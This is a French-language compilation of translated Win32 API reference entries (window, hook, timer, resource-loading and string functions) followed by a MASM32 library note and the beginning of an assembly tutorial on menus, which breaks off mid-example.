IsZoomed (Win32)

BOOL IsZoomed(hwnd)

HWND hwnd;	/* handle de la fenêtre */

Cette fonction détermine si une fenêtre est bien maximisée.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.

Retours

La valeur en retour indique si la fenêtre donnée est vraiment maximisée. La valeur sera
non nulle si la fenêtre est maximisée. Autrement, c'est zéro.

Voir Aussi

IsIconic


JournalPlaybackProc (Win32)

LRESULT CALLBACK JournalPlaybackProc(nCode, wParam, lParam)

int nCode;	/* code de hook */
WPARAM wParam;	/* indéfini */
LPARAM lParam;	/* adresse du message étant traité */
La procédure de hook JournalPlaybackProc est une fonction callback qu'on définit dans une bibliothèque (DLL). Sa fonction est d'insèrer les messages souris et clavier dans la file d'attente des messages du système. Typiquement la bibliothèque utilise cette procédure de hook pour relire une série de messages souris ou clavier qui ont été enregistrés auparavant en employant la procédure de hook JournalRecordProc. Les entrées souris et clavier sont régulièrement mis hors service tant que la procédure de hook JournalPlaybackProc est installée.

Paramètre 	 Description

nCode 	 	 Est le code que la procédure de hook peut utiliser pour déterminer comment
          traiter le message. Ce paramètre peut être une des valeurs suivantes :

         Valeur 	 Signification

         HC_GETNEXT 	 Indique que la fonction de hook doit recopier le message
                  souris ou clavier actuel dans la structure EVENTMSG pointé par
                 le paramètre lParam.
         HC_SKIP 	 Indique que la procédure de hook doit se préparer à recopier
                  le message souris ou clavier  suivant dans la structure
                 EVENTMSG pointé par le paramètre lParam. La procédure de hook
                 doit recopier le message une fois qu'il a reçu le code
                 HC_GETNEXT.
         HC_SYSMODALOFF  Indique qu'une DialogBox de type 'système-modale' a été
                  détruite. La procédure de hook doit reprendre la lecture des
                 messages reçus précédemment.
         HC_SYSMODALON 	 Indique qu'une DialogBox de type 'système-modale' est affichée.
                  La procédure de hook doit s'arrêter de relire les messages
                 (reçus précédemment) avant que la DialogBox n'ait été détruite.

         Si le paramètre nCode est négatif, la procédure de hook doit passer le message
         à CallNextHookEx sans avoir à le traiter et retourne la valeur renvoyé par
         CallNextHookEx.

wParam 	 	 Est une valeur NULL.
lParam 	 	 Pointe sur une structure EVENTMSG, laquelle contient le message devant être
         traité par la procédure de hook. Ce paramètre est valable seulement lorsque
         le paramètre nCode est mis à HC_GETNEXT.

Retours
La procédure de hook doit retourner une valeur qui représente le temps écoulé, en unité d'horloge (Tick), que le système doit attendre avant de traiter le message. Cette valeur peut être calculée en calculant la différence entre les membres de temps entre le message d'entrée actuel et ses précédents. Si la procédure de hook retourne un NULL, le message est traité immédiatement. La valeur en retour est sera uniquement employée si le paramètre nCode est mis à HC_GETNEXT. Autrement, il est ignoré.

Commentaires

La procédure de hook JournalPlaybackProc doit recopier le message d'entrée contenu dans le paramètre lParam. Le message a dû être précédemment enregistré en utilisant la procédure de hook JournalRecordProc, qui ne doit pas modifier le message.
Une fois que la procédure de hook à contrôlée le message en donne son retour, le message continue d'être traité. Si le paramètre nCode est HC_SKIP, la procédure de hook doit se préparer à renvoyer le prochain message enregistré lors de l'appel suivant.
L'application doit installer la procédure de hook en spécifiant le type de filtre WH_JOURNALPLAYBACK et l'adresse de la procédure de hook en appelant la fonction SetWindowsHook.
Cette procédure de hook doit être dans une bibliothèque de liaison dynamique (une dll).
JournalPlaybackProc est un placeholder du nom de la fonction prédéfini dans la bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (dans un fichier *.def).

Voir Aussi

CallNextHookEx, JournalRecordProc, SetWindowsHookEx


JournalRecordProc (Win32)

LRESULT CALLBACK JournalRecordProc(nCode, wParam, lParam)

int nCode;	/* code de hook */
WPARAM wParam;	/* indéfini */
LPARAM lParam;	/* adresse du message étant traité */
La procédure de hook JournalRecordProc est une fonction callback qu'on définit dans une bibliothèque (dll). Cette procédure enregistre les messages que le système enlève de la file d'attentes des messages du système. Plus tard, une bibliothèque peut employer la procédure de hook JournalPlaybackProc pour relire les messages.

Paramètre 	 Description

nCode 	 	 Est le code que la procédure de hook peut employer pour déterminer comment
         traiter le message. Ce paramètre peut être une des valeurs suivantes :

            Valeur 	 Signification

         HC_ACTION 	 Indique que le paramètre lParam pointe sur une structure
                  EVENTMSG, laquelle contient l'information d'un message
                 enlevé de la file d'attente. La procédure de hook doit
                 enregistrer la structure.
         HC_SYSMODALOFF  Indique qu'une DialogBox de type 'système-modale' a été
                  détruite. La procédure de hook doit reprendre
                 l'enregistrement des messages.
         HC_SYSMODALON 	 Indique qu'une DialogBox de type 'système-modale' est
                  affichée. La procédure de hook doit s'arrêter d'enregistrer
                 avant que la DialogBox n'ait été détruite.

         Si le paramètre nCode est négatif, la procédure de hook doit passer le message
         à CallNextHookEx sans le traiter et retourner la valeur renvoyée par
         CallNextHookEx.

wParam 	 	 Est une valeur NULL.
lParam 	 	 Pointe sur une structure EVENTMSG.

Retours

Aucun.

Commentaires
Une procédure de hook JournalRecordProc doit recopier les messages sans les modifier. Après avoir contrôlé le message et avoir retourné, le message continue d'être traité.

Cette procédure de hook doit être dans une bibliothèque de liaison dynamique (dll).
L'application doit installer la procédure de hook en spécifiant le type de hook WH_JOURNALRECORD et l'adresse de la procédure de hook en appelant la fonction SetWindowsHookEx.
JournalRecordProc est un placeholder du nom de fonction fourni dans la bibliothèque. Le nom réel doit être exporté en l'incluant dans la déclaration d'EXPORTATIONS (un fichier *.def).

Voir Aussi

CallNextHookEx, JournalPlaybackProc, SetWindowsHookEx


KillTimer (Win32)

BOOL KillTimer(hwnd, nIDEvent)

HWND hwnd;	/* handle de la fenêtre pour laquelle on avait installé un timer */
UINT nIDEvent;	/* identification du timer */
Cette fonction détruit le minuteur (timer) identifié les paramètres hwnd (de la fenêtre) et nIDEvent (le timer de cette fenêtre). Le principe c'est que tous les messages provenant du minuteur associé à WM_TIMER sont enlevés de la file d'attente des messages.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre associée au Timer donné. Cette valeur doit être la même
         que celle passée à la fonction SetTimer qui avait créée le Timer.
nIDEvent 	 Spécifie le Timer qui doit être détruit. Si l'application appelle SetTimer
         avec un NULL dans le paramètre hwnd, alors nIDEvent doit être le n°ID
         renvoyé par SetTimer. Par contre si le paramètre hwnd de la fonction
         SetTimer était un handle de fenêtre valide, alors nIDEvent doit être
         la valeur du paramètre nIDEvent passée à SetTimer.
Retours

La valeur de retour indique le résultat de la fonction. Il est le non nul si le Timer a été détruit. Et nul si la fonction KillTimer n'a pas pu retrouver le Timer indiqué.

Voir Aussi

SetTimer


MASM32 Library

Voici un élément de Masm que nous Français n'utilisons que très rarement alors que nos homologues Américains ne s'en privent pas. C'est la 'Library'. Ça va être très court, le but n'est que de vous faire prendre conscience de sa présence.

Sachez qu'au fur et à mesure des évolutions de Masm32 cette Bibliothèque comme le reste s'enrichie. Et le mieux est encore d'aller faire un petit tour sur l'exellent site de HUTCH à l'adresse: http://www.masm32.com/masmdl.html

Nous savons tous comment utiliser les Fonctions API de windows avec la MACRO 'invoke'. Et bien la Library permet de faire la même chose, avec des Fichiers créés par nous mêmes, un peu comme si nous pouvions fabriquer et faire appel à nos propres APIs personnelles.

EXEMPLE CONCRET:

Un contrôle d'édition est une zone où on peut écrire des caractères, soit du TEXTE soit des CHIFFRES. Mais n'importe quel caractère qu'il contient est en fait considéré comme du texte (même les chiffres). Si vous souhaitez utiliser les chiffres que vous y inscrivez en tant que véritables chiffres il vous faudra les convertir. Et aucune API Win32 ne le permet.
La solution, c'est de faire appel à une 'Pseudo API' qui a été créée par un utilisateur comme vous et moi. Chacun peut créer les siennes.

PETIT BOUT DE CODE POUR UTILISER LA LIBRARY :

..
...
include \masm32\include\kernel32.inc ;<-- Kernel32 est une véritable Bibliothèque Win32
includelib \masm32\lib\kernel32.lib ;on l'importe ainsi.

include \masm32\include\masm32.inc ;<-- La Bibliothèque masm32 n'est pas une Bibliothèque appartenant à Windows.
includelib \masm32\lib\masm32.lib ;elle a été créer par des utilisateurs, mais on l'appel de la même façon.

.data
nombre db "255",0 ;<-- Ce nb 255d est en réalité au format TEXTE.

.data ?
buffer dd ? ;<-- ce buffer recevra le véritable nombre 255 converti. donc 0FFh

.code

invoke atodw, addr nombre ;<-- Converti mon texte en un véritable nombre hexadécimal.
mov buffer, eax ;<-- le résultat est pacé dans eax.
...

EXPLICATION :

De la même façon qu'on déclare la (véritable) bibliothèque Kernel32.dll pour se servir de certaines de ses APIs comme ExitProcess, on déclare également la bibliothèque Masm32 pour nous servir des (fausses) APIs qu'elle contient tel que 'atodw' entre autres.

ExitProcess proto uExitCode:DWORD
atodw proto String:BYTE

J'espère que vous avez compris l'intérêt de la Library car elle nous permet de faire évoluer Masm en lui ajoutant des 'Pseudo-APIs' qui peuvent être bénéfiques pour tous.
Je vous recommande de jeter un petit coup d'oeil dans '..\Masm32\Help\Masmlib.HLP' pour savoir qu'elle est la syntaxe de chacune de ces nouvelles 'Pseudo-APIs' ainsi que ce qu'elles permettent de faire.

CRÉATION D'UNE LIBRARY PERSONNELLE :

Quand je me suis intéressé aux Bibliothèques, je me suis aperçu entre temps qu'Iczelion y avait également consacré un peu de son temps. Alors je vais m'arrêter ici, et vous traduire son texte. Vu qu'il est extrêmement technique dans toutes ses explications ce sera aussi bien pour tout le monde....

Morgatte


LoadBitmap

La fonction LoadBitmap charge le bitmap indiquée en tant que ressource pour le fichier exécutable.

HBITMAP LoadBitmap (
HINSTANCE HINSTANCE, // handle l'instance application)
LPCTSTR lpBitmapName // adresse de nom de ressource bitmap
);

Paramètres

hInstance

Identifie l'instance du module dont le fichier exécutable contient le bitmap qui doit être chargé.

lpBitmapName

Indique une chaîne de caractères terminée par un nul laquelle contient le nom du bitmap à chargé en ressource. Alternativement, ce paramètre peut est un identificateur de ressource dans le mot de poids faible alors que le mot de poid fort est mis à zéro. La macro MAKEINTRESOURCE peut être employé pour créer cette valeur.

Valeurs de Retour

Si la fonction réussit, la valeur en retour est l'handle du bitmap indiqué.
Si la fonction échoue, la valeur en retour est un NULL.

Remarques

Si le bitmap indiqué par le paramètre lpBitmapName n'existe pas ou bien que la mémoire est insuffisante pour charger ce bitmap, la fonction échoue.
Une application peut se servir de la fonction LoadBitmap pour avoir accès à des bitmaps prédéterminé utilisés par les APIs Win32. Pour faire ça, l'application doit mettre le paramètre hInstance à NULL et le paramètre lpBitmapName à une des valeurs suivantes :

OBM_BTNCORNERS
OBM_OLD_RESTORE
OBM_BTSIZE OBM_
OLD_RGARROW
OBM_CHECK OBM_
OLD_UPARROW
OBM_CHECKBOXES
OBM_OLD_ZOOM
OBM_CLOSE
OBM_REDUCE
OBM_COMBO
OBM_REDUCED
OBM_DNARROW
OBM_RESTORE
OBM_DNARROWD
OBM_RESTORED
OBM_DNARROWI
OBM_RGARROW
OBM_LFARROW
OBM_RGARROWD
OBM_LFARROWD
OBM_RGARROWI
OBM_LFARROWI
OBM_SIZE
OBM_MNARROW
OBM_UPARROW
OBM_OLD_CLOSE
OBM_UPARROWD
OBM_OLD_DNARROW
OBM_UPARROWI
OBM_OLD_LFARROW
OBM_ZOOM
OBM_OLD_REDUCE
OBM_ZOOMD

Les noms de Bitmap qui commencent par OBM_OLD représentent des bitmaps employés par des versions antérieures à Windows 3.0.
Pour qu'une application puisse utiliser un des constants OBM_, le constant OEMRESOURCE doit être défini avant que le fichier Windows.H ne soit inclus dans l'entête.
L'application doit appeler la fonction DeleteObject pour supprimer chacun des handles bitmap renvoyés par la fonction LoadBitmap.


LoadCursor

La fonction LoadCursor charge le curseur indiqué en tant que ressource pour le fichier exécutable (.EXE) associé à l'instance d'une application.

HCURSOR LoadCursor (
HINSTANCE HINSTANCE, // handle l'instance application)
LPCTSTR lpCursorName // nom du curseur ou identificateur du curseur.
);

Paramètres

hInstance

Identifie l'instance du module dont le fichier exécutable contient le curseur qui doit être chargé.

lpCursorName

Représente une chaîne de caractères terminée par un null, laquelle contient le nom du curseur devant être chargé en tant que ressource. Alternativement, ce paramètre peut être l'identificateur de cette ressource laquelle est placée dans le mot de poids faible alors que le mot de poids fort est mis à zéro. La macro MAKEINTRESOURCE peut aussi être utilisée pour créer cette valeur.

Pour employer un des curseurs Win32 prédéterminés, l'application doit mettre le paramètre hInstance à NULL et le paramètre lpCursorName à une des valeurs suivantes :

Description des Valeurs:

IDC_APPSTARTING flèche Standard + petit sablier
IDC_ARROW flèche Standard
IDC_CROSS Curseur en forme de +
IDC_IBEAM Curseur comme celui pour une saisie de texte
IDC_ICON Windows NT seulement : icône vide
IDC_NO cercle noir barré (genre panneau d'interdiction)
IDC_SIZE Windows NT seulement : quatre flèches orientées
IDC_SIZEALL comme IDC_SIZE
IDC_SIZENESW Double flèche orientée, dirigée 'nord-est' et 'sud-ouest'
IDC_SIZENS Double flèche orientée, dirigée 'nord' et 'sud'
IDC_SIZENWSE Double flèche orientée, dirigée 'nord-ouest' et 'sud-est'
IDC_SIZEWE Double flèche orientée, dirigée 'ouest' et 'est'
IDC_UPARROW flèche Verticale vers le haut
IDC_WAIT Sablier

Valeurs de Retour

Si la fonction réussit, la valeur en retour est l'handle du curseur nouvellement chargé.
Si la fonction échoue, la valeur en retour est un NULL. Pour obtenir l'information à propos de l'erreur étendue, appelez GetLastError.

Remarques

LoadCursor charge seulement la ressource 'curseur' s'il n'a pas déjà été chargé; sinon, il retrouve l'handle de la ressource existante. Cette fonction renvoie un handle de curseur valable seulement si le paramètre lpCursorName pointe sur une ressource de curseur. Si lpCursorName pointe sur un type de ressource autre qu'un curseur (telle une icône), la valeur en retour n'est pas un NULL, bien que ce ne soit pas un handle de curseur valable.
La fonction LoadCursor recherche dans la ressource de curseur le plus approprié, pour avoir un curseur approprié au dispositif d'exposition où il se trouve. Le curseur peut être un bitmap couleur ou monochrome.


LoadIcon

La fonction LoadIcon charge la ressource de l'icône indiquée, pour le fichier exécutable (.EXE) associé à l'instance d'une application.

HICON LoadIcon (
HINSTANCE HINSTANCE, // handle de l'instance application
LPCTSTR lpIconName // nom de l'icône (chaîne de caractères) ou identificateur de l'icône en ressource
);

Paramètres

hInstance

Identifie instance du module dont le fichier exécutable contient l'icône qui doit être chargée. Ce paramètre doit être NULL quand une icône standard est chargée.

lpIconName

Représente une chaîne de caractères terminée par un null, laquelle contient le nom de l'icône devant être chargé en tant que ressource. Alternativement, ce paramètre peut contenir l'identificateur de ressource dans le mot de poids faible et le mot de poids fort est mis à zéro. Utilisez la macro-instruction MAKEINTRESOURCE pour créer cette valeur.

Pour employer une des icônes prédéterminées de Windows, mettez le paramètre hInstance à NULL et le paramètre lpIconName à une des valeurs suivantes :

Description des Valeurs:

IDI_APPLICATION Icône d'application par defaut.
IDI_ASTERISK Icône Astérisque (employé dans messages informatifs).
IDI_EXCLAMATION Icône point d'Exclamation (employé dans des avertissement de messages).
IDI_HAND icône Main-levée (employé dans des messages d'avertissement sérieux).
IDI_QUESTION Icône Point d'interrogation (employé dans des incitations de messages).
IDI_WINLOGO Icône logo de Windows.

Valeurs de Retour

Si la fonction réussit, la valeur en retour est l'handle de l'icône nouvellement chargée.
Si la fonction échoue, la valeur en retour est un NULL. Pour obtenir l'information à propos de l'erreur étendue, appelez GetLastError.

Remarques

LoadIcon charge une icône en ressource uniquement si elle n'a pas déjà été chargée; sinon, elle retrouve l'handle de l'icône existante. Cette fonction recherche dans les 'ressources d'icônes' pour exposer l'icône la plus appropriée à la situation en cours. L'icône peut être un bitmap couleur ou monochrome.
LoadIcon peut seulement charger une icône dont la taille est conforme au système métrique des valeurs SM_CXICON et SM_CYICON. Employez la fonction LoadImage pour charger des icônes d'autres tailles ou différentes.


LOADMENU

La fonction LoadMenu charge le menu indiqué qui se trouve dans le segment Ressources (.Rsrc)du fichier exécutable (.EXE).

HMENU LoadMenu (
HINSTANCE HINSTANCE, // handle de l'application instance
LPCTSTR lpMenuName // nom du menu (l'identifiant en ressource).
);

Paramètres

hInstance

Identifie l'instance du module contenant le menu en ressource qui doit être chargé.

lpMenuName

Est une chaîne de caractères terminée par un 'null' qui représente le nom du menu en ressource. Ce paramètre est constitué d'un identificateur de ressource dans le mot de poids faible et une mise à zéro du mot de poids fort. Pour créer cette valeur, utilisez la macro MAKEINTRESOURCE.

Valeurs de Retour

Si la fonction réussit, la valeur de retour est l'handle du menu.
Si la fonction échoue, la valeur de retour est un NULL. Pour obtenir l'information sue l'erreur étendue, appelez GetLastError.

Remarques

La fonction DestroyMenu est employée, avant qu'une application ne ferme, pour détruire le menu et effacer la mémoire que le menu ainsi chargé occupait.


LoadMenuIndirect

HMENU LoadMenuIndirect(

    CONST MENUTEMPLATE *lpMenuTemplate	// adresse du template
);

La fonction LoadMenuIndirect charge en mémoire le calibre (template) de menu indiqué. (Par calibre ou Template il faut comprendre 'modèle de construction')

Paramètres

lpMenuTemplate

Indiquez à le Template du menu ou le Template-étendu du menu. (extended template)
Un template de menu consiste en, une structure MENUITEMTEMPLATEHEADER suivie par une ou plusieurs structures MENUITEMTEMPLATE contiguës. Un Template extended de menu consiste en une structure MENUEX_TEMPLATE_HEADER suivie par une ou plusieurs structures MENUEX_TEMPLATE_ITEM contiguës.

Valeurs en Retour

Si la fonction réussit, la valeur en retour est le handle du menu.
Si la fonction échoue, la valeur de retour est NULL. Pour obtenir l'information à propos de l'erreur étendue, appelez GetLastError.

Remarques

Que ce soit pour les versions ANSI ou Unicode de cette fonction, les chaînes de caractères dans la structure MENUITEMTEMPLATE doivent être des chaînes de caractères Unicode.

Voir Aussi

LoadMenu, MENUEX_TEMPLATE_HEADER, MENUEX_TEMPLATE_item, MENUITEMTEMPLATE, MENUITEMTEMPLATEHEADER


lstrcat (Win32)

LPTSTR lstrcat(lpszString1, lpszString2)

LPTSTR lpszString1;	/* adresse du buffer recevant les chaînes concaténées */
LPCTSTR lpszString2;	/* adresse de la chaîne à coller à la suite de la chaîne1 */

La fonction lstrcat ajoute une chaîne de caractères à une autre.

Paramètre 	 Description

LpszString1 	 Pointe sur un tableau d'octets contenant une chaîne de caractères terminée par
         un nul. Ce tableau d'octet contient la 1ere chaîne de caractères et doit être
         assez grand pour contenir en plus la seconde pour la placer à sa suite.
LpszString2 	 Pointe sur la 2eme chaîne de caractères terminée par un nul, elle sera ajoutée
         à la 1ere chaîne (dans le paramètre lpszString1).

Retours

La valeur en retour est lpszString1 qui vient d'être modifié.


lstrcmp (Win32)

int lstrcmp(lpszString1, lpszString2)

LPCTSTR lpszString1;	/* adresse de la première chaîne de caractères */
LPCTSTR lpszString2;	/* adresse de la seconde chaîne de caractères */

La fonction lstrcmp compare deux chaînes de caractères. La comparaison est insensible aux
différences entre caractères Minuscules et Majuscules.

Paramètre 	 Description

LpszString1 	 Pointe sur la première chaîne de caractères terminée par un nul qui doit être
         comparée.
LpszString2 	 Pointe sur la seconde chaîne de caractères terminée par un nul qui doit être
         comparée.

Retours

La valeur en retour est négative si la chaîne de caractères dans lpszString1 est moins grande
que celle dans lpszString2. Cette valeur est positive si lpszString1 est plus grand que
lpszString2 et elle est nulle si les deux chaînes sont égales.

Commentaires
La fonction lstrcmp compare deux chaînes de caractères en vérifiant leur premier caractère respectif l'un par rapport à l'autre, le deuxième caractère avec le deuxième de l'autre chaîne, et cetera, jusqu'à ce qu'elle trouve une inégalité ou atteigne les fins d'une des deux chaînes de caractères. Cette fonction retourne la différence du premier caractère non-égal dans la 2e chaîne, qu'elle rencontre. Par exemple, lstrcmp décide que "abcz" est plus grand que "abcdefg" et retourne la différence "z" et "d".

Le Driver de langue choisie par l'utilisateur détermine si une chaîne de caractères est plus grande (ou identique). Si aucun Driver de langue n'est choisi, Windows emploie une fonction interne. Avec la langue des Etats-Unis pour Windows, les caractères majuscules sont considérés comme étant des caractères de plus bas niveau que les caractères minuscules.
Avec des caractères double-bytes pour la version (DBCS) de Windows, cette fonction peut comparer deux chaînes de caractères DBCS.

Voir Aussi

lstrcmpi


lstrcmpi (Win32)

int lstrcmpi(lpszString1, lpszString2)

LPCTSTR lpszString1;	/* adresse de la première chaîne de caractères */
LPCTSTR lpszString2;	/* adresse de la seconde chaîne de caractères */

La fonction lstrcmpi compare deux chaînes de caractères. La comparaison est insensible aux
différences entre caractères Minuscules et Majuscules.

Paramètre 	 Description

LpszString1 	 Pointe sur la première chaîne de caractères terminée par un nul qui doit être
         comparée.
LpszString2 	 Pointe sur la seconde chaîne de caractères terminée par un nul qui doit être
         comparée.

Retours

La valeur en retour est négative si la chaîne de caractères dans lpszString1 est moins grande
que celle dans lpszString2. Cette valeur est positive si lpszString1 est plus grand que
lpszString2 et elle est nulle si les deux chaînes sont égales.

Commentaires
La fonction lstrcmpi compare deux chaînes de caractères en vérifiant leur premier caractère respectif l'un par rapport à l'autre, le deuxième caractère avec le deuxième de l'autre chaîne, et cetera, jusqu'à ce qu'elle trouve une inégalité ou atteigne les fins d'une des deux chaînes de caractères. Cette fonction retourne la différence du premier caractère non-égal dans la 2e chaîne, qu'elle rencontre. Par exemple, lstrcmpi décide que "abcz" est plus grand que "abcdefg" et retourne la différence "z" et "d".

Le Driver de langue choisie par l'utilisateur détermine si une chaîne de caractères est plus grande (ou identique). Si aucun Driver de langue n'est choisi, Windows emploie une fonction interne. Avec la langue des Etats-Unis pour Windows, les caractères majuscules sont considérés comme étant des caractères de plus bas niveau que les caractères minuscules.

Voir Aussi

lstrcmp


lstrcpy (Win32)

LPTSTR lstrcpy(lpszString1, lpszString2)

LPTSTR lpszString1;	/* adresse du buffer */
LPCTSTR lpszString2;	/* adresse de la chaîne de caractères à copier */

La fonction lstrcpy copie une chaîne de caractères dans un buffer.

Paramètre 	 Description

LpszString1 	 Pointe sur un buffer, lequel recevra le contenu de la chaîne de caractères
         indiquée par le paramètre lpszString2. Ce buffer doit être assez grand pour
         contenir la chaîne, ce qui inclut également le caractère nul de terminaison.
LpszString2 	 Pointe sur la chaîne de caractères terminée par un nul qui doit être copiée.

Retours
La valeur en retour est le pointer lpszString1 si la fonction est couronnée de succès. Autrement, c'est un NULL.

Commentaires

Avec des caractères Double-Byte pour la version (DBCS) de Windows, cette fonction peut être utilisée pour copier une chaîne de caractères double-bytes (DBCS).

Voir Aussi

lstrlen


lstrlen (Win32)

int lstrlen(lpszString)

LPCTSTR lpszString;	/* adresse de la chaîne de caractères à compter */

La fonction lstrlen retourne la longueur (en nb de caractères), de la chaîne de caractères
indiquée (sans inclure le caractère nul de terminaison).

Paramètre 	 Description

lpszString 	 Pointe sur une chaîne de caractères terminée par un nul.

Retours

La valeur en retour est la longueur (en nb de caractères), de la chaîne de caractères indiquée
dans le paramètre lpszString.

Voir Aussi

lstrcpy


MapDialogRect (Win32)

BOOL MapDialogRect(hwndDlg, lprc)

HWND hwndDlg;	/* handle de la DialogBox */
LPRECT lprc;	/* adresse de la structure RECT */
Cette fonction convertit les unités de DialogBox données dans le paramètre lprc en unités d'écran. Les unités de DialogBox sont exposées aux règles de l'unité de base de Dialog actuelle tirée de la largeur et de la hauteur moyennes des caractères dans la fonte Système. Une unité horizontale est 1/4ème de l'unité de largeur de base de Dialog et une unité verticale est 1/8ème de l'unité de hauteur de base de Dialog. La fonction GetDialogBaseUnits retourne les unités de base de Dialog en pixels. La fonction MapDialogRect remplace les unités de DialogBox dans lprc par des unités d'écran (en pixels), pour qu'un rectangle puisse être employé pour créer une DialogBox ou placer un Control dans une boîte.

Paramètre 	 Description

hwndDlg 	 Identifie une DialogBox.
lprc 	 	 Pointe sur une structure RECT, laquelle contient les coordonnées de DialogBox
         à convertir.

Retours

TRUE est retourné pour un succès, et FALSE pour un échec.

Commentaires

Le paramètre hwndDlg doit être créé en utilisant la fonction DialogBox ou CreateDialog.

Voir Aussi

CreateDialog, DialogBox, GetDialogBaseUnits, ClientToScreen, ScreenToClient, WindowFromPoint,
ChildWindowFromPoint, RECT


Menu

Les Principales APIs pour les Menus

VOIR LES FONCTIONS
Quand on commence à programmer, une des premières choses qu'on cherche à utiliser ce sont les menus je pense. Aczelion a bien décrit (comme toujours) les étapes pour créer un simple menu de base, mais on peut faire plus encore. Il est possible d'ajouter ou retirer des items d'un menu, de modifier un menu, etc... Ça risque d'être un peu long, mais je vais essayer de faire le tour le plus complet possible autour des APIs servant aux menus.

Quelques notions de vocabulaire:

Un 'Popup Menu' est un menu déroulant comme celui qui apparaît lorsque vous cliquer sur 'Fichier' par exemple.
Un 'Item de Menu' est un des sous-menus d'un menu. Exemple 'Quitter' est un Item.
Sachez également qu'un Menu est une ressource. Il faut donc en plus du ficher *.asm un fichier *.rc où sera définit et construit ce Menu.

ATTENTION: N'importe quel menu est définit dans les ressources, MAIS (et c'est là un point important) le fait de modifier un Menu ne fait pas appel au fichier de ressouce. Par exemple, si votre programme possède un menu (donc *.rc) et que vous vouler ajouter des Items à votre Menu, et bien l'Item en question n'appartiendra pas aux ressources (*.rc). Non, dans ce cas le texte qui constitue ce nouvel Item est dans la section .DATA et son n°ID est seulement présent dans la section .CONST.

Dans tous les exemples à suivre le fichier de ressource sera celui-ci:

-------------------------------
(Menu.rc)

#define IDM_ITEM1 1		// Le fichier *.rc définit la façon dont sera construit le menu.
#define IDM_ITEM2 2		// D'après ces lignes, ce menu prendra la forme suivante:
#define IDM_ITEM3 3		//
#define IDM_EXIT 4		//

                //    |Menu Popup| |Item3|
PremierMenu MENU		//    |  Item1   |
{				//    |  Item2   |
 POPUP "&Menu Popup"   		//    |  Exit    |
        {
         MENUITEM "Item1",IDM_ITEM1
         MENUITEM "Item2", IDM_ITEM2
         MENUITEM SEPARATOR
         MENUITEM "E&xit",IDM_EXIT
        }
 MENUITEM "Item3", IDM_ITEM3
}
-------------------------------

LoadMenu <-- Charge un Menu, c'est la toute première fonction pour les menus.
SetMenu <-- incorpore un nouveau menu à une fenêtre. (ou remplace l'ancien si la fenêtre en
            avait déjà un.)
AppendMenu <-- Ajoute un Item à la fin d'un Menu.
InsertMenu <-- Insert un Item dans un menu à l'endroit désiré.
ModifyMenu <-- Modifie (remplace) un Item du Menu par un autre.
DrawMenuBar <-- Rafraîchit un Menu. (c'est l'équivalent d'UpdateWindow pour les objets)
EnableMenuItem <-- Grise Désactive, Active l'Item d'un Menu.
DeleteMenu <-- Efface un Item du Menu.
RemoveMenu <-- Idem que DeleteMenu.
DestroyMenu <-- Fonction pour détruire (définitivement) un menu.

Voici le code de base d'une fenêtre simple et sans aucun Menu. Elle servira de base pour chacun
des exemples illustrants l'utilisation d'une fonction.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
.CODE
start:
invoke GetModuleHandle, NULL

mov hInstance,eax
invoke GetCommandLine

mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess, eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND

    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInstance
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_WINDOW+1
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,NULL,\
                ADDR ClassName,\
                ADDR AppName,\
                WS_OVERLAPPEDWINDOW,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                CW_USEDEFAULT,\
                NULL,\
                NULL,\
                hInst,\
                NULL
    mov   hwnd,eax
    invoke ShowWindow, hwnd,CmdShow
    invoke UpdateWindow, hwnd

    .WHILE TRUE
                invoke GetMessage, ADDR msg,NULL,0,0
                .BREAK .IF (!eax)
                invoke TranslateMessage, ADDR msg
                invoke DispatchMessage, ADDR msg
   .ENDW
    mov     eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .IF uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .ELSE
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .ENDIF
    xor eax,eax
    ret
WndProc endp

end start
LoadMenu et SetMenu Retour

LoadMenu est l'API de base pour les menus. Quand vous l'utilisez elle va rechercher en ressource (segment .rsrc) le menu d'après son nom (ex: MenuName) et l'incorpore à la fenêtre dont on passe son handle à cette fonction.

HMENU LoadMenu(hinst, lpMenuName)

HANDLE hinst; /* handle de la fenêtre qui va recevoir le menu */
LPCTSTR lpMenuName; /* nom du menu pour l'identifier (parmi d'autres menus)*/

Exemple:

-------------------------------
(Menu.asm)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
NomMenu db "PremierMenu",0 ;<-- NomMenu appartient au fichier *.rc

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hMenu HMENU ?

.const
IDM_ITEM1 equ 1
IDM_ITEM2 equ 2
